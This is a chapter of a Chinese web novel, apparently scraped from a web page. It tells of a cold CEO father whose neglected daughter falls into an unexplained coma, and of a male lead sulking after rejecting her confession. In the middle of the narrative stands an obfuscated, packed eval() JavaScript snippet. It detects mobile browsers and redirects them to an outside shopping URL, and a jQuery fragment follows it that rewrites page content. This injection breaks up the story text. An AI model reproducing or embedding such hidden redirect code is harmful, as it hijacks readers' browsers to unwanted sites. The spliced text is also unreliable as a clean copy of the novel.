10. 第十章 今天起我才是女主
作品:《还以为我是女主角[穿书]》 晨光透过书房厚重的窗帘缝隙,在深色地板上投下一道细长的光斑。
顾家本馆,书房内,秘书垂手站在书桌前,条理清晰地汇报着海外项目的进展。
“……以上就是东南亚市场的初步反馈,后续方案我们会在下午提交。”秘书收声,静待指示。
语速平稳,却难掩一丝小心翼翼,因为总裁今天的气压格外低,时不时指尖叩着桌面,目光落在文件上却明显没有聚焦。
汇报结束了好几分钟,顾之刑才嗯了一声。
又默了默,忽然抬眼,眉头微不可察地蹙起:“这个点,小曦怎么没来?”
“啊,您是说小曦小姐?”
秘书一愣,怀疑自己听错了。
虽说顾曦月是与顾之刑是父女,但这位顾总向来对顾小姐的事情漠不关心,长达二十年都冷漠,别说主动提及,就算小姐主动靠近也往往是被冷待几句便打发走。
今天怎么会突然问起?
没等他消化完这份错愕,就听顾之刑补充道:“以前这个时候,她不是总找理由来送水果餐盘吗?今天怎么没动静。”
那语气算不上关切,更像是在疑惑一件习以为常却突然偏离轨道的小事。
人家顾小姐送了快二十年的水果餐盘,您不是一口都没吃吗?怎么顾小姐反常的没送,顾总也反常也关心起来了?
压下心中的吐槽,秘书躬身应道:“请容许我现在去查。”
顾之刑面无表情,点头表示默许。
秘书快步走出书房,顾之刑则双手交叉成塔状,思考昨夜女儿的异常。
昨夜女儿发脾气了,二十年来的头一回。
说实话,他没听懂。
他不过是和往常一样,收到了刘女士的告状,当然他是不打算搭理的,打算等听完女儿说清楚来龙去脉后就惩治不安分的人。
在收到女儿发来的录音证据后,就更不会给刘女士好脸色了。
他去分馆的念头是突如其来的,因为妻子是在分馆生产而死,所以心痛得二十年来都不愿意踏入。
昨夜,就是很突兀的,想要迈步进去。
大概是想看看分馆庭院中亡妻最爱的月季花,又或者,想久违的见见女儿。
却没想到,他只是一切如同往常一样,女儿却莫名其妙的爆发了。
不仅对他的关心敷衍不耐,更甚至还让他闭嘴。
怎么回事?到底发生了什么?
比起被冒犯的不悦,他现在的心情更倾向于懵逼搞不清状况,还有对女儿的担心。
女儿说她二十年来的一切都是装的,装了什么?他听不太懂。
可是有件事情他听懂了,女儿这二十年来过得不好?
思及此,顾之刑面色一冷。
难道在他不知道的时候,自己的女儿居然受到了欺凌?
稍后得让秘书好好查查。
正想着,就见秘书匆匆回到书房,脸色异常,似乎发生了什么不好的事。
秘书回到书桌前,声音带着小心进行汇报:“顾总,分馆那边的佣人说……小姐似乎是昏迷了,从昨晚到现在都没醒。”
“唰”的一声,顾之刑猛地站起身。
“你说什么,小曦昏迷了?”
脸上依旧没什么表情,下颌线却绷得笔直,眼神却骤然变得锐利如刀,周身的寒气瞬间凝滞。
“去分馆。”淡淡吐出三个字,声音冷得像淬了冰。
熟悉他的人一看就知道这代表着急切的关心与担忧。
秘书自然就看出了,秘书懵逼。
冷漠无情得仿佛割开身体都不会流血的顾总,竟会担心起女儿了,什么时候的事?怎么自己做秘书的居然不知道?
分馆内一片死寂,空气凝固。
宽敞的房间内,顾曦月安静地躺在床上,面色红润,呼吸均匀,睫毛在眼睑下投出浅浅的阴影,像是还在沉睡,仿佛呼唤就能醒。
但佣人已多次尝试唤醒,均为失败。
家庭医生收起听诊器,又检查了瞳孔反应,直起身,面对书桌旁站着的男人,欲言又止。
顾之刑站在靠窗的位置,身形笔挺如松,深色西装被透入的光线勾勒出冷硬的边缘。
俊美的男人脸上没有太多表情,只是逆光显得眼神阴沉。他没有催促,但无形的压力已让医生额角渗出细汗。
“顾总,”医生斟酌着词语:“小姐的生命体征平稳,身体各器官功能未见异常。没有发烧,没有外伤,神经系统初步检查也无明显器质性病变。”
“什么意思?说些我能听懂的。”顾之刑语气平静无波,却透着深不可测的压迫感。
医生噎了一下,连忙调整措辞:“从医学角度看,小姐身体没有问题。昏迷的原因很可能是心因性的。例如遭受了巨大的心理冲击或刺激,导致意识自主封闭,不愿醒来。”
“心理刺激?”
顾之刑重复了一遍,尾音极轻,却带着刺骨的凉意。
他下意识就觉得这个所谓的心理刺激就是正解,因为昨夜开始女儿确实突然展现异常。
目光落在女儿紧抿的苍白唇瓣上,眸色沉了沉。
究竟什么样的刺激能让他顾之刑的女儿昏迷不醒?
他嘴角极细微地扯动了一下,不是笑,而是一种冰冷的愤怒。
“去查。”
两个字,清晰,冰冷,不带一丝波澜,却比任何咆哮都更具命令性。
“把她过去二十年,在这栋宅子里、在顾家、在外面,受过的所有委屈,一件不落,给我查清楚。我想知道,究竟我女儿到底遭遇了什么,居然被刺激得沉睡不愿意醒来。”
秘书背脊一凛,立刻躬身:“是,顾总。”
他不敢有丝毫迟疑,快步退了出去。
房门被轻轻带上,室内再次陷入令人窒息的安静。
日光在地板上投出明亮的方块,却照不暖床榻分毫。
顾之刑走到床边,垂眸看着女儿。
少女的睡颜如此平静淡然,与与昨夜那个眼神破碎、言语尖锐让他闭嘴的女孩判若两人。
二十年来的画面碎片般掠过脑海——
她小心翼翼端来的果盘,被他漠然推开;她带着期盼靠近,被他三言两语打发;她在各种场合安静待在角落,像个模糊的背景……
昨夜她的声声泣诉还响在耳边……
“一个一出生就被亲生父亲扔在一边、不管不顾的孩子,在顾家这样的地方,连自保的能力都没有,下场会有多惨,你这位高高在上的顾总裁,会不懂吗?”
“你连刚出生的亲生骨肉都能毫不犹豫地推开,告诉你有用吗?你会听吗?你会管吗?”
所以,这不愿意让她醒来的心理刺激里,也包括了自己,对吗?
顾之刑伸出手,似乎想碰碰她的额头,指尖却在即将触及的瞬间停住。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889741|192191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>最终,他只是拉过一张扶手椅,放在床边不远处,沉默坐了下去。
*****
厉云川已经连续低气压两天了。
办公室里的空气仿佛凝成了冰。每个进来汇报的高管都屏着呼吸,语速比平时快上一倍,生怕多待一秒钟。
秘书室更是噤若寒蝉,连送咖啡的时机都精确到秒,早了怕打断他沉思,晚了怕触怒他心烦。
一切反常都源于前天。
前天傍晚,顾曦月毫无预兆地向厉云川告白。
他至今记得那一刻的错愕与心慌。
不是不爱,恰恰相反,顾曦月对他而言早已超越了“爱”这个字的范畴。
她是嵌进他生命里的人,是比心跳更理所当然的存在,是他愿意用一切去交换的唯一。
他无法忍受用“恋人”这种浅薄、随时可能变动的关系去定义她。
所以他拒绝了,笨拙地解释着他那套“超越爱情”的理论,生怕世俗的情感会玷污他们之间独一无二的联结。
顾曦月什么也没说,只是安静地看了他片刻,然后转身离开。
那个瞬间,一种从未有过的恐慌攫住了他,仿佛有什么极其重要的东西正从指缝里无声滑走。
他追出去,在人来人往的街边找到她时,她正和一个女孩说着话。他冲过去紧紧抱住她,语无伦次地改口:“我错了,我们在一起,做恋人,什么都行,只要你别生气……”
顾曦月说自己没生气,也不用做恋人了。厉云川多问了几句,她让他闭嘴。
厉云川只好委委屈屈的闭了嘴。
再之后,顾曦月就不理自己了。
他打了十几个电话,全部没人接;发出去的消息石沉大海,连个已读回执都没有。
他亲自去了顾家,分馆的佣人却说,小姐不舒服,暂时不能见客。
什么不舒服,恐怕是还在生气不愿意见自己吧。
虽然知道不舒服多半是谎言,但也不能揭穿。厉云川不敢大闹,害怕本已经生气的顾曦月更加生气。
所以他现在只能站在办公桌后,看着窗外灰蒙蒙的天际线,手里的钢笔无意识地在文件边缘划出凌乱的痕迹。
他很少有这样心神不宁的时候,这种失控感像细密的藤蔓缠住心脏,越收越紧。
内线电话就在这时响起。
“厉总,”壹秘的声音带着与老板如出一辙的冷淡:“有位林鹿小姐前来报到,说是厉老夫人安排入职的新秘书。”
厉云川眉头骤然锁紧。
他想起来了,昨天奶奶确实打过电话,和和气气的语气下却是不容置疑的强硬,非要塞个人当他秘书。
他推脱说自己已经有四个秘书了,不需要更多,厉奶奶却说这正好,多一个不算多,有其他秘书在,不怕这个新秘书惹乱子。
厉云川简直无语,想着是老人家的心愿,就当花点钱多养个闲人,于是随口应下就抛在了脑后。
没想到人这么快就来了。
“让她进来。”他的声音比平时更冷。
门被轻轻推开。
一个穿着米白色套装的年轻女孩走了进来。
身材纤细,长发在脑后束成温顺的低马尾,露出光洁的额头和一双看似清澈的眼睛。她脚步放得很轻,走到办公桌前恰到好处的距离停下,微微躬身。
“厉总您好,我是林鹿。今天起担任您的秘书助理,请多指教。”

